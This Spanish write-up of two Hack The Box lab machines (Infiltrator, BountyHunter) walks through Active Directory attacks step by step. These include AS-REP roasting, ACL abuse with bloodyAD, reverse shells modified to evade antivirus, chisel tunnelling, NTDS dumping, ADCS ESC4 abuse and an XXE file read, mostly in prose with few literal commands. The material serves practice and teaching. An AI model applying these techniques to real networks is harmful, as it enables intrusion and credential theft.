Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Infiltrator. Este resultado lo almacenaremos en un archivo llamado allPorts.

A través de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

A través de la herramienta de netexec y ldapsearch procederemos a enumerar el equipo para localizar más información. Entre la información obtenida, verificamos el hostname, versión del SO y el nombre del dominio.

Procederemos a añadir en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.

Por otro lado, para trabajar con el protocolo de Kerberos y no tener problemas durante la explotación de la máquina, deberemos de sincronizar nuestro reloj con la del Domain Controller.

Además, deberemos de informar en el archivo /etc/resolv.conf la dirección IP del DC para no tener problemas posteriormente.

Web Enumeration

Nuestro primer objetivo será la página web de , en la cual a simple vista no vemos ningún dato interesante que nos pueda servir.

Information Leakage

Revisando en el apartado de About, verificamos que aparecen nombres de los empleados. Esta información nos puede servir.

Guardaremos los nombres completos de los empleados que aparecían en la página. A través del script de namenash.py procederemos a crear un listado de usuarios a través del listado de empleados que disponemos.

A través de la herramienta de Kerbrute, enumeraremos el listado de usuarios que nos ha generado el script anterior. En el resultado obtenido, verificamos que de los 78 usuarios posibles que teníamos, solamente 7 usuarios son válidos a nivel de dominio.

Procederemos a guardarnos los usuarios válidos del dominio en el archivo users.txt.

AS-REP Roast Attack (GetNPUsers)

Dado que disponemos de un listado potencial de usuarios, realizaremos el ataque de AS-REP Roast Attack. Al realizar el ataque revisará si alguno de los usuarios que disponemos dispone de la flag (DONT_REQ_PREAUTH) de Kerberos, para así obtener un hash TGT (Ticket Granting Ticket) que posteriormente podremos intentar crackear.

En este caso, verificamos que hemos logrado obtener el hash TGT del usuario l.clark@infiltrator.htb, este hash lo almacenaremos en un archivo.

Intentaremos crackear el hash obtenido a través de la herramienta hashcat, en este caso, logramos obtener la contraseña en texto plano del usuario l.clark@infiltrator.htb.

Verificaremos a través de la herramienta nxc de validar las credenciales obtenidas, comprobamos que son válidas para dicho usuario.

LDAP Enumeration (ldapdomaindump)

Dado que disponemos de credenciales válidas, procederemos a realizar una enumeración de LDAP a través de la herramienta de ldapdomaindump.

Al revisar el archivo domain_users, verificamos el listado de usuarios del dominio. También notamos que el usuario k.turner@infiltrator.htb en su campo Description aparece lo que parece ser una contraseña.

Probaremos de validar si esas credenciales encontradas en el LDAP son válidas para el usuario. Verificamos que no podemos autenticarnos con estas credenciales, alomejor nos pueden servir para más adelante...

NTLM is disabled? Testing Kerberos authentication

Al realizar un Password Spraying de una de las credenciales que disponemos, verificamos que en dos cuentas nos aparece el mensaje de STATUS_ACCOUNT_RESTRICTION, lo cual nos llama bastante la atención.

Al volver a ejecutar el mismo comando anterior pero indicando que se autentique mediante Kerberos y no NTLM, verificamos que las credenciales también son válidas para el usuario d.anderson@infiltrator.htb.

Esto nos lleva a la siguiente pregunta: es posible que la autenticación NTLM esté deshabilitada para algunos usuarios, por ese motivo nos marca como STATUS_ACCOUNT_RESTRICTION.

Si realizamos nuevamente el Password Spraying desde la herramienta de Kerbrute, verificamos que obtenemos el mismo resultado anterior.

Validaremos que con el usuario d.anderson@infiltrator.htb a través de autenticación NTLM no podemos autenticarnos, en cambio, a través de la autenticación de Kerberos si.

Procederemos a solicitar un TGT (Ticket Granting Ticket) para el usuario, para poder utilizarlo para autenticarnos con este usuario. El ticket obtenido d.anderson.ccache lo almacenaremos en la variable KRB5CCNAME y verificaremos a través de klist -e de que el ticket TGT está correctamente configurado.

BloodHound Enumeration

A continuación, realizaremos una enumeración del dominio entero a través de BloodHound. El siguiente comando nos creará un archivo .zip el cual contendrá toda la información del dominio. Lo que buscamos en realizar esta enumeración es buscar posibles vectores de ataque para escalar nuestros privilegios.

En este caso hemos utilizado al usuario d.anderson y nos autenticamos mediante Kerberos -k, pero podríamos haber utilizado el usuario l.clark dado que esta usuaria se puede autenticar mediante NTLM.

Revisando en BloodHound, verificamos que solamente el usuario Administrator es un Domain Admin.

Verificando posibles vías potenciales para escalar nuestros privilegios actuales, nos encontramos con el siguiente path que parece ser el más adecuado para llegar a conectarnos al Domain Controller.

Initial Access

Abuse of GenericAll privileges on an OU to gain full control of objects

Verificamos que el usuario que disponemos actualmente, dispone de privilegios GenericAll sobre la Organizational Unit (OU) llamada MARKETING DIGITAL.

Esto indica que tiene el control total sobre la OU, un privilegio peligroso debido que podemos tener el control total de esta OU y de los objetos que se encuentren en esta misma.

A través de la herramienta de bloodyAD nos convertimos en propietarios de la OU y nos otorgamos permisos de genericAll para tener control de la OU y de los objetos que se encuentren en esta.

En un principio, deberíamos de disponer de control sobre los objetos que se encuentren en esta OU. Durante el proceso al tratar de modificar algún objeto que se encontraba en esta nos indicaba que no disponíamos de privilegios suficientes.

Realizando una búsqueda nos encontramos con el siguiente blog, el cual nos indica que para tener un control total sobre las Organizational Units (OUs) debíamos de modificar el siguiente DACL.

A través del primer comando, nos proporcionamos el control total de la OU y objetos que se encuentran en esta misma y mediante el segundo comando verificamos que el paso anterior se haya realizado correctamente.

Volviendo a revisar en el BloodHound, verificamos que en la OU MARKETING DIGITAL se encontraba el usuario e.rodriguez@infiltrator.htb.

Por lo tanto, dado que nos hemos otorgado el control total sobre la OU y los objetos secundarios, por ende, deberíamos de tener control total con el usuario d.anderson@infiltrator.htb sobre el usuario e.rodriguez@infiltrator.htb.

A través de bloodyAD realizamos el cambio de contraseña del usuario mencionado. Posteriormente a través de nxc,verificamos que el cambio se realizó correctamente.

Abusing AddSelf privileges to add myself on a group

Revisando nuevamente en la ruta que encontramos en BloodHound, verificamos que el usuario que disponemos actualmente tiene permisos de AddSelf sobre el grupo CHIEFS MARKETING.

Por lo tanto, el usuario dispone de permisos para añadirse a sí mismo al grupo mencionado.

Lo primero de todo será solicitar un TGT (Ticket Granting Ticket) del usuario e.rodriguez@infiltrator.htb. Almacenaremos el ticket TGT en la variable KRB5CCNAME y validaremos que esté correctamente configurada.

A través de bloodyAD, nos añadiremos a nosotros mismos al grupo CHIEFS MARKETING. Verificamos que nos aparece que nos hemos añadido correctamente a través de ldapsearch.

Abuse ForceChangePassword privileges to change a user's password

En BloodHound verificamos que los miembros del grupo CHIEFS MARKETING disponen del permiso ForceChangePassword sobre el usuario m.harris@infiltrator.htb, pudiendo modifcarle la contraseña sin disponer de la actual del usuario.

Realizaremos el cambio de contraseña del usuario m.harris@infiltrator.htb a través de la herramienta de bloodyAD, verificaremos que se ha modificado correctamente las credenciales.

Abuse CanPSRemote privileges to connect with machine

Revisando nuevamente en BloodHound, verificamos que el usuario que disponemos tiene privilegios de CanPSRemote sobre el Domain Controller DC01. Esto nos proporciona el privilegio de acceder remotamente al equipo, mediante WinRM o RDP.

Procederemos a solicitar el TGT (Ticket Granting Ticket) del usuario actual, verificaremos que se encuentra correctamente configurado el TGT.

Nos conectaremos mediante evil-winrm al DC y verificaremos la flag de user.txt.

En esta máquina por x motivos no funciona correctamente WnRM, al menos en mi caso se quitaba la conexión cada x tiempo.

Por lo tanto, lo que hicimos fue utilizar la Reverse Shell del repositorio de Nishang. Renombramos el archivo Invoke-PowerShellTcp.ps1 a rev.ps1. Deberemos modificar el archivo para que realice el Invoke de la Reverse Shell al final del script. En este caso, modificamos un poco el script para que el AV no lo detecte tan facilmente.

Nos ponemos en escucha por el puerto indicado en el script rev.ps1.

Codificamos en Base64 de Windows el comando que desde el equipo DC01 ejecutaremos y levantaremos un servidor web con Python.

Desde la consola donde hemos iniciado sesión con evil-winrm, ejecutaremos el comando encodeado en Base64 para otorgarnos la Reverse Shell.

Verificamos que hemos logrado obtener el acceso correctamente al equipo, desde esta terminal no tendremos problemas de desconexión al equipo.

Output Messenger

En la enumeración inicial del equipo, nos encontramos que se encontraba instalado una aplicación llamada Output Messenger, algo inusual en máquinas de HTB.

Realizamos una búsqueda por internet sobre la aplicación. Al parecer, es una aplicación bastante parecida a Microsoft Teams.

Output Messenger --> Herramienta de colaboración que permite la productividad del equipo a través de mensajería LAN instantánea, transferencia de archivos, uso compartido de escritorio remoto y más.

Para buscar posibles vectores de escalar nuestros privilegios en la máquina víctima, decidimos hacer uso de la herramienta de winPEAS.exe. Este binario lo deberemos de disponer en nuestro equipo local, lo compartiremos a través de un servidor web.

Desde el equipo comprometido, procederemos a descargar el binario en una ruta que el AppLocker no lo detecte.

Ejecutaremos el winPEAS.exe y el output lo almacenaremos en un archivo llamado result.txt.

Para compartirnos este resultado en nuestro equipo local, decidimos en levantar un servidor SMB en nuestra Kali.

Copiaremos el archivo result.txt en el recurso compartido SMB que hemos levantado desde Kali.

Revisando el resultado obtenido del escaneo de winPEAS, verificamos que existen varios puertos en escucha sobre la aplicación de Output Messenger. Lo cual nos hace pensar que la aplicación está en ejecución en el DC actualmente.

Performing a Windows port forwarding to my Kali machine

Disponemos de los siguientes puertos que utiliza la aplicación Output Messenger, nuestro objetivo será compartir estos puertos internos del DC hacía nuestra Kali Linux mediante Port Forwarding.

14118 14119 14121 14122 14123 14125 14126 14127 14128 14130 14406

En nuestra Kali, deberemos de disponer de los binario de chisel para UNIX y Windows. El binario de chisel.exe lo dberemos de compartir en el Domain Controller a través de un servidor web.

Desde el equipo víctima, descargaremos el binario chisel.exe en la ruta donde el AppLocker no nos lo detecte.

Configuraremos el chisel como servidor en nuestra máquina Kali, el puerto de servidor que utilizaremos es el 1234.

Desde la máquina víctima, la configuaremos como cliente para que se conecte al servidor de nuestra Kali. Compartiremos todos los puertos internos que utiliza la aplicación Output Messenger para que sean los mismos puertos en nuestra Kali Linux.

Desde Kali revisaremos que disponemos de los puertos en LISTEN, significando que se ha realizado el Port Forwarding correctamente y ya los tenemos accesibles desde nuestro equipo.

La aplicación de Output Messenger, al parecer desde Linux no funciona, por lo cual decidimos probar de utilizarla en una máquina Windows que disponíamos.

El problema aquí es que los puertos que hemos realizado el Port Forwarding se encuentran en nuestra máquina Kali, podríamos realizar nuevamente el Port Forwarding con chisel para compartir los puertos de Kali hacía nuestro otro equipo Windows.

En este caso, optamos por compartir nuestra conexión de OpenVPN de Kali Linux con la máquina Windows para tener ambas máquinas conectadas simulteanamente.

Primero de todo, deberemos de habilitar el reenvío de paquetes. Después configuramos las reglas de las tablas de filtrado iptables para permitir el tráfico entrante y saliente desde la interfaz tun0 (OpenVPN) hacia eth0 (la interfaz de red física).

Verificamos la dirección IP que disponemos en Kali Linux para realizar el MASQUERADE y poder compartir la conexión de Kali Linux, usamos una regla en la tabla NAT.

Desde nuestra máquina Windows (atacante) verificamos que no disponemos de conexión al equipo del Domain Controller aún.

Por lo tanto, tuvimos que agregar manualmente las rutas necesarias para que Windows pueda comunicarse correctamente con las redes detrás de la VPN. Verificamos que disponemos de conexión con el DC y con la IP de nuestra Kali de la interfaz tun0.

Logging in as k.turner in Output Messenger

Descargaremos la aplicación de Output Messenger desde el siguiente enlace, deberemos de descargar la versión de Cliente Windows.

Si bien recordamos, en la enumeración de LDAP, encontramos en el campo Description lo que parecía ser una contraseña.

Abriremos la aplicación de Output Messenger y procederemos a iniciar sesión con las credenciales k.turner/MessengerApp@Pass!. La dirección IP que especificaremos es la que disponemos en nuestra máquina Kali de la interfaz física eth0.

Perfecto, hemos podido iniciar sesión en la aplicación con el usuariok.turner. A continuación, deberemos explorar los diferentes chats y funciones para intentar buscar algún tipo de información interesante.

En el chatroom Dev_chat encontramos la siguiente conversación, donde se discute el desarrollo de una herramienta llamada UserExplorer.exe para recuperar información de usuarios desde un servidor LDAP. Aquí algunos puntos clave y lo más interesante:

Desarrollo de la herramienta: Se está creando una aplicación que permitirá obtener detalles de los usuarios de LDAP, como nombre, correo electrónico y teléfono, utilizando el protocolo LDAP.
Seguridad en las credenciales: Se ha implementado el uso del descifrado AES para manejar las contraseñas, garantizando así la confidencialidad de los datos sensibles.
Opciones de entrada: La herramienta admitirá argumentos de línea de comandos para el nombre de usuario, la contraseña y el usuario buscado, ofreciendo una opción predeterminada para facilitar el uso.

Information leakage (password filtered in notices)

Si nos dirigimos al apartado de Notices, vemos una noticia que habla sobre una alerta sobre la autenticación previa se encuentra deshabilitada en Kerberos para algunos usuarios. Esto nos confirma el motivo por el cual algunos usuarios aparecían como restringidos.

Por otro lado, también vemos que en las noticias aparecen lo que parecen ser las credenciales de acceso del usuario m.harris@infiltrator.htb.

Probaremos de realizar un Password Spraying para verificar si estas credenciales son válidas para algún usuario.

Logging in as m.harris in Output Messenger

Probaremos de autenticarnos en la aplicación de Output Messenger en busca de ver si con este usuario tenemos más información interesante que nos pueda servir.

Vemos que disponemos de un chat con el usuario Admin, el cual nos comparte el binario de la aplicación UserExplorer.exe que anteriormente estuvieron hablando en el chat de Dev_Chat. Nos descargaremos el binario accediendo a través de la opción de Open Folder.

Dispondremos del binario de UserExplorer.exe, el cual realizaremos una copia en nuestro Desktop.

Debugging with dnSpy

Al analizar el binario, nos encontramos que aparecen las credenciales cifradas del usuario winrm_svc. Si bien recordamos en la conversación del chatroom de Dev_Chat, estaban intentando cifrar esta contraseña en cifrado AES.

A través del siguiente script, lo que realizaremos es descodificar la contraseña cifrada para obtenerla en texto plano.

Al ejecutar el script y pasarle el valor de la contraseña cifrado, verificamos que nos devolvío un string parecido a Base64. Al intentar descodificar el contenido en Base64 no nos devolvió un resultado legible.

Por lo que volvimos a ejecutar el script pero indicándole este nuevo valor obtenido. Al parecer pudimos desencriptar la contraseña cifrada y obtener la contraseña en texto plano.

Validamos que efectivamente estas credenciales son válidas para el usuario winrm_svc@infiltrator.htb.

Logging in winrm_svc in Output Messenger

Probaremos de acceder a Output Messenger con las credenciales recién obtenidas.

Revisando los chats, O. Martínez reportó que recibe ventanas emergentes de sitios web al azar todos los días a las 09:00 a. m. Durante la conversación, mencionó que no ha compartido su contraseña, salvo con el grupo Chiefs_Marketing_chat.

Esto nos interesa, ya que revisar las conversaciones de ese grupo podría revelar detalles sobre la contraseña del usuario, permitiéndonos verificar su validez y potencialmente utilizarla para realizar ataques de pivoting o escalar privilegios.

Por otro lado, en la sección de notas, verificamos que nos aparece una API Key, deberemos investigar si podemos hacer uso de esta API Key en algún servicio.

lan_managment api key 558R501T5I6024Y8JV3B7KOUN1A518GG

Using Output Messenger API to retrieve conversations logs on a group

Buscamos por internet información sobre la API de Output Messenger, en la cual nos encontramos con la siguiente página en donde nos informa como poder utilizar la API de la aplicación.

Revisando más información sobre las posibilidades del uso del API, verificamos que hay un apartado en el cual a través de la API, podemos visualizar los logs de un chat room.

Esto nos interesa bastante, debido que si bien recordamos, el usuario O.martinez compartió sus credenciales en el chat Chiefs_marketing_chat.

Para poder comprobar los logs del chat room, necesitaríamos los siguientes datos:

[roomkey] - Chat Room Key.
[fromdate] - Start Date.
[todate] - End Date.

Nos faltaría saber cual es la roomkey del chat room que queremos revisar los logs.

Para empezar, primero revisaremos como funciona la API, en este ejemplo, se nos muestra como authenticarnos a través de nuestra API-KEY.

Desde nuestra máquina Kali, interceptaremos la solicitud con FoxyProxy y BurpSuite sobre la dirección , lo realizamos desde localhost (127.0.0.1) ya que anteriormente nos compartimos los puertos internos del DC a nuestra Kali Linux.

Al tener la solicitud interceptada en BurpSuite, le indicaremos la API-KEY que encontramos anteriormente. Verificamos que hemos podido consultar los usuarios correctamente tal y como nos indicaba el ejemplo de Authentication.

Ya sabemos como utilizar el API-KEY para utilizar la API, ahora lo único que nos queda es saber cual es el roomkey del chat room de Chiefs_Marketing_chat.

Después de una larga búsqueda, decidimos revisar si en el AppData del usuario winrm_svc había algún dato interesante.

Revisando los grupos a los que formaba parte el usuario winrm_svc, verificamos que formaba parte del grupo Remote Management Users, por lo tanto nos podremos conectar en remoto al equipo.

Para ello, primero deberemos de solicitar un TGT (Ticket Granting Ticket) del usuario, almacenarlo en la variable KRB5CCNAME y verificar que el ticket TGT esté correctamente configurado.

Al proceder a conectarnos al equipo mediante evil-winrm y, revisando el directorio AppData nos encontramos con dos archivos .db3 que quizás podríamos llegar a encontrar información interesante. Nos descargamos ambos archivos para tenerlos localmente en nuestro equipo.

Al revisar el archivo OM.db3 con la herramienta de sqlite3, verificamos que hemos logrado obtener la roomkey del chat Chiefs_Marketing_chat.

Ya disponemos de lo que parece ser la roomkey del chat room que queremos ver sus logs.

Por lo tanto, siguiendo el API Helper de la documentación del Output Messenger que nos encontramos, procederemos a ver los logs de las fechas recientes. En la conversación con O.martinez, la conversación que mantienen es el 20 de Febrero de 2024.

En este caso, buscaremos los logs entre las fechas del 19 al 20 de febrero utilizando la roomkey. Verificamos que hemos logrado al parecer leer los logs de este chat.

Revisando los logs del chat, verificamos lo que parece ser el mensaje que decía O.martinez en el cual compartía su contraseña en este grupo.

Procederemos a verificar si estas credenciales siguen siendo válidas a nivel de dominio. En este caso, al parecer, la usuaria debió cambiar sus credenciales por seguridad después de recibir varias alertas de SPAM.

Logging in O.martinez in Output Messenger

De casualidad, probamos de autenticarnos con estas credenciales al Output Messenger, para verificar si el usuario había cambiado también las credenciales en esta aplicación de mensajería.

Logramos acceder con el usuario O.martinez, además logramos visualizar el grupo Chiefs_Marketing_chat en el cual efectivamente, había compartido sus credenciales de acceso.

Running a malicious binary to get a Reverse Shell with a Calendar "Run application" function on Output Messenger

Revisando las funciones de la aplicación, nos encontramos que a través de crear un nuevo evento en el calendario, eramos capaces de ejecutar una aplicación.

Por lo tanto, lo que se probó a realizar es a crear un payload malicioso de una Reverse Shell. En este caso se utilizó msfvenom para crear un binario .exe malicioso que al ejecutarse nos proporcionaría una Reverse Shell. Compartiremos este binario malicioso a través de un servidor web.

Desde otra terminal, nos pondremos en escucha para recibir la Reverse Shell.

Desde el equipo Windows (atacante) el cual hemos instalado el Output Messenger, procederemos a descargar el binario malicioso y lo ejecutaremos.

Vemos que funciona la reverse.exe, pero al ejecutarlo nosotros manualmente, el usuario que recibimos es el de nuestra máquina Windows (atacante).

Por lo tanto, el objetivo será crear un nuevo evento para intentar y verificar si el usuario O.martinez es capaz de ejecutar el binario malicioso reverse.exe correctamente y obtener una Shell con ese usuario.

Verificamos que se ha creado correctamente el evento. Deberemos de esperar a que el tiempo transcurra y verificar si funciona o no.

En nuestro caso, intentamos adelantar la hora de Windows manualmente, y por x motivos a veces funcionaba y otras no.

Después de diversas pruebas, logramos obtener una Shell como usuario O.martinez@infiltrator.htb.

Privilege Escalation

Analyzing a Wireshark PCAP File

Revisamos en el directorio AppData del usuario actual si había algún tipo de información interesante. Comprobando en varios directorios, nos encontramos con un archivo de una captura de Wireshark.

Nos volveremos a montar un servidor SMB en nuestra Kali para compartirnos este archivo encontrado.

Copiaremos el archivo mencionado al recurso compartido SMB que tenemos en nuestra Kali.

Abriremos la captura de Wireshark obtenida, verificaremos el siguiente resultado.

En el resultado obtenido, verificamos que hay una solicitud que se descarga a través del métoddo GET, un archivo llamado BitLocker-backup.7z. Lo que intentaremos es recuperar el archivo original. Para ello, en la solicitud donde se confirmó la descarga con un 200 OK, haremos click derecho e ingresaremos a Seguir < HTTP Stream.

Indicaremos que muestra la Conversación completa y que el resultado se muestre en formato Raw, guardaremos el archivo en nuestro directorio de trabajo.

Verificaremos que disponemos del archivo BitLocker-backup.raw, procederemos a revisar el archivo a través de la herramienta de hexedit.

Recovering original file obtained in Wireshark capture (hexedit)

El objetivo será recuperar el archivo original obtenido de la captura de Wireshark. Para ello, lo primero será localizar en que sección de la memoria empieza el archivo 7z. Según ChatGPT, las cabeceras de archivos 7z empiezan normalmente por 37 7A BC AF 27 IC.

Revisando el archivo en hexadecimal y situándonos en la cabecera de donde empieza el archivo, vemos que en la parte inferior nos muestra que el archivo empieza por los valores 0x3A5/0x33554.

El siguiente paso será eliminar toda la parte superior del archivo raw. Para ello, crearemos dos variables de entorno que nos indique la posición exacta del byte y que a partir de ahí sobreescriba el archivo .raw.

Verificamos que hemos logrado obtener el archivo original sobreescribiendo el raw obtenido anteriormente.

Descromprimiremos el archivo BitLocker-backup.7z y vemos que requiere de credenciales para acceder al archivo, credenciales que no disponemos.

A través de 7z2john lo que realizamos es obtener el hash de la contraseña del archivo y almacenarlo en un archivo llamado hash7z.

Al intentar crackear este hash obtenido con john, verificamos que hemos logrado crackear el hash y obtener su contraseña.

Al volver a descomprimir el archivo 7z, verificamos que nos ha descomprimido correctamente el archivo.

Decrypting BitLocker-encrypted disk via obtained recovery key and obtaining a backup of NTDS.dit

Revisando el resultado obtenido del archivo 7z, verificamos que hay un archivo HTML. Procederemos a montar un servidor web con Python para revisar el contenido del archivo.

Al acceder al servidor web de nuestro equipo, logramos verificar que se trata de una clave de recuperación de BitLocker.

BitLocker es una característica de seguridad de Windows que proporciona cifrado para volúmenes completos, que aborda las amenazas de robo de datos o exposición de dispositivos perdidos, robados o retirados inapropiadamente.

Clave obtenida: 650540-413611-429792-307362-466070-397617-148445-087043

Revisando nuevamente el archivo de Wireshark obtenido, verificamos que el usuario O.martinez realizó un cambio de credenciales y estas aparecen en texto plano.

Verificaremos si estas nuevas credenciales obtenidas nos permiten acceder al sistema, efectivamente hemos logrado autenticarnos correctamente.

Revisamos en BloodHound de que el usuario O.martinez@infiltrator.htb dispone de privilegios CanRDP sobre el equipo DC01. Por lo cual podríamos conectarnos por RDP al Domain Controller.

Nos conectaremos mediante xfreerdp3 al DC para tener acceso remoto por RDP y tener entorno gráfico.

Verificamos que disponemos del disco C: y de una unidad cifrada con BitLocker E:.

Al intentar acceder a la unidad E:, verificamos que nos requiere de credenciales para acceder. Entre las opciones nos aparece la opción de Enter recovery key para introducir una clave de recuperación de BitLocker.

Ingresaremos la clave de recuperación de BitLocker que obtuvimos anteriormente para desbloquear la unidad cifrada.

Conseguimos tener acceso a la unidad E:, entre los directorios de la unidad, verificamos que en el directorio E:\Windows Server 2012 R2 - Backups\Users\Administrator\Documents disponía de un archivo de backup llamado Backup_Credentials.7z.

Deberemos de compartir este archivo a nuestro equipo local. Para ello, montaremos un servidor SMB que utilice las credenciales del usuario O.martinez.

Conectaremos esta unidad en el DC y copiaremos el archivo de Backup en nuestro recurso compartido.

Verificaremos que logramos tener el archivo de Backup, al proceder a descomprimir el archivo, verificamos que logramos disponer lo que parece ser de un Backup de los archivos NTDS.dit, SYSTEM y SECURITY.

Exportaremos los hashes NTLM del archivo NTDS.dit, verificamos que logramos obtener los hashes de todos los usuarios del AD, entre ellos las del usuario Administrator.

Al intentar validar si podemos realizar Pass-The-Hash con este hash NTLM del usuario Administrator, comprobamos que este hash ya no es válido y no podemos autenticarnos como él.

Transforming a NTDS.dit file to SQLite file (ntdsdotsqlite)

Dado que no logramos extraer ningún tipo de información ni ninguna credencial válida en el NTDS.dit. Descubrimos la siguiente herramienta que nos transforma el NTDS.dit en un archivo DB para abrirlo con sqlitebrowser.

Al revisar en los diferentes campos, logramos verificar que aparece lo que parecen ser unas credenciales para el usuario lan_managment@infiltrator.htb.

Validaremos si estas credenciales siguen siendo válidas para el usuario encontrado. Efectivamente estas credenciales nos sirven correctamente.

Abusing ReadGMSAPassword Rights

Al revisar nuevamente en BloodHound, verificamos que el usuario que disponemos, tiene privilegios de ReadGMSAPassword sobre el objeto infiltrator_svc$@infiltrator.htb.

A través de la herramienta de bloodyAD, procederemos a leer la contraseña del GMSA. Logramos obtener el hash NTLM del objeto en cuestión.

Validamos si podemos hacer un Pass-The-Hash con este hash NTLM y el usuario, verificamos que logramos validar las credenciales correctamente.

ESC4 exploitation case with certipy-ad

Buscando vías potenciales de elevar nuestros privilegios, verificamos que este usuario, forma parte del grupo Certificate Service DCOM Access, lo cual nos replantea investigar si podemos abusar de los ADCS (Active Directory Certificate Services).

Con la herramienta de certipy-ad buscaremos si existe algún template que sea vulnerable. En este caso nos muestra que podemos efectuar el ESC4.

Realizaremos la explotación del ESC4 de los ADCS (Active Directory Certificate Services).

Configuraremos la template obtenida para que sea vulnerable.

Revisaremos nuevamente que la Template se ha modificado correctamente.

Abusaremos de la template vulnerable para que el usuario Administrator utilice la template vulnerable y se nos proporcione el certificado administrator.pfx.

Con este certificado, procederemos a utilizarlo para obtener el hash NTLM del usuario Administrator o obtener el ticket TGT administrator.ccache.

Validaremos que el hash NTLM obtenido es correctamente válido para el usuario Administrator.

Procederemos a conectarnos al Domain Controller realizando Pass-The-Hash, logramos obtener la flag de root.txt.

También podemos hacer uso del ticket TGT administrator.ccache para autenticarnos y conectarnos al Domain Controller mediante wmiexec por ejemplo.

BountyHunter

BountyHunter es una máquina Linux sencilla que utiliza la inyección de entidades externas XML para leer archivos del sistema. Poder leer un archivo PHP en el que se filtran las credenciales brinda la oportunidad de obtener un punto de apoyo en el sistema como usuario de desarrollo. Un mensaje de John menciona un contrato con Skytrain Inc y habla de un script que valida los boletos. La auditoría del código fuente del script de Python revela que utiliza la función eval en el código del boleto, que se puede inyectar, y como el script de Python se puede ejecutar como root con sudo por el usuario de desarrollo, es posible obtener un shell de root.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina BountyHunter. Este resultado lo almacenaremos en un archivo llamado allPorts.

A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache y el servicioSSH.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Web Enumeration

Realizaremos a través de la herramienta de whatweb un reconocimiento inicial de las tecnologías que utiliza la aplicación web.

Accederemos a y comprobaremos la siguiente página web, que ofrece 3 páginas de About, Contact y Portal.

Realizaremos una enumeración de directorios y páginas PHP. En el resultado obtenido, verificamos diferentes páginas web y directorios los cuales revisaremos posteriormente.

Por otro lado, también realizaremos la misma enumeración pero esta vez a través de la herramienta de gobuster. En el resultado obtenido, verificamos diferentes páginas PHP como las siguientes:

portal.php
db.php
index.php

Al acceder a la sección de Portal de la página principal, somos redirigidos a la página web la cual nos muestra un mensaje indicando que el portal está en desarrollo. También se nos indica que para acceder al Bounty Tracker accedamos al hipervínculo que se nos muestra.

Al acceder al enlace, somos redirigidos a la siguiente página web de . En la siguiente página web se nos indica un sistema de reporting de BugBounty en el cual nos permiten indicar diferentes campos.

Initial Access

XXE (XML External Entity Injection) Exploitation

Indicaremos unos datos randoms para verificar el funcionamiento de la aplicación web. Al indicar los datos, se nos muestra en el output de la aplicación web el resultado obtenido.

Al interceptar la solicitud con BurpSuite, comprobamos que al darle a la opción de Submit lo que se tramita es una variable llamada data con un código codificado en Base64. Al seleccionar el código, la propia herramienta de BurpSuite nos lo descodifica automáticamente.

En este caso, al descodificarlo, se nos muestra la estructura de una archivo XML, con lo cual, lo primero que se nos ocurre es en intentar probar un XML External Entity Injection (XXE).

Descoficaremos el valor también en Cyberchef para comprobar que efectivamente se trata de un archivo XML codificado en Base64 y URL Encode para evitar problemas con los carácteres especiales como =,+, etc.

Probaremos diferentes payloads para intentar comprobar si la aplicación web es vulnerable a XXE. En este primer intento para comprobar si es vulnerable, lo que realizaremos es codificar el siguiente contenido XML en Base64 para ingresarlo en lo que espera la aplicación web que se le indique.

Con este archivo XXE comprobaremos si podemos definir una entidad nueva llamada example con el contenido GzzcooXXE y indicar que se muestre entre las etiquetas <cwe> como ejemplo.

Enviaremos en la variable data nuestro archivo XML malicioso y al enviar la solicitud, en la respuesta por parte del servidor comprobamos que ha interpretado la nueva entidad y se ha mostrado el contenido, con lo cual confirmamos que la aplicación web es vulnerable a XML External Entity Injection (XXE).

El contenido del archivo XML debe estar codificado como hemos comentado en Base64 y también deberemos de aplicar un URL Encode para no tener problemas. Para ello, seleccionamos el contenido en Base64 que hemos indicado en BurpSuite y haremos Ctrl+Upara aplicar el URL Encode y no tener problemas con los carácteres especiales, etc.

A continuación, el siguiente paso será intentar leer archivos arbitrarios del sistema. La siguiente estructura XML la codificaremos en Base64 y URL Encode y al enviar la solicitud desde BurpSuite, comprobaremos que finalmente hemos logrado listar el archivo /etc/passwd del servidor vulnerable.

Por lo tanto, tenemos una vía potencial de poder leer archivos arbitrarios del sistema.

XXE PHP File Read - Base64 Wrapper

El problema con la lectura de archivos en una aplicación web es que, si intentamos leer un archivo PHP, este se interpretará y no podremos ver su contenido en texto plano.

Para evitar este comportamiento, podemos usar wrappers de PHP para codificar el contenido que queremos listar. En este caso, utilizaremos un wrapper que convierte el archivo a Base64. Esto nos permite leer archivos PHP sin que el servidor los ejecute, ya que la aplicación solo mostrará el contenido codificado como una cadena de texto. Luego, simplemente decodificamos el resultado para obtener el archivo original.

Por ejemplo, al utilizar el siguiente payload, podemos leer el archivo /etc/passwd, que se nos devolverá en Base64.

Nos guardaremos el contenido en Base64 obtenido en el punto anterior y lo guardaremos en un archivo, por ejemplo, data.

El siguiente paso, será lograr descodificar el contenido de Base64 en el cual comprobaremos el archivo original de /etc/passwd.

Python Script to perform XXE Base 64 Wrapper Exploitation

Para automatizar el proceso de explotación XXE sin necesidad de codificar manualmente el archivo XML malicioso, enviar la petición a BurpSuite y decodificar la respuesta en Base64, hemos desarrollado el siguiente script en Python.

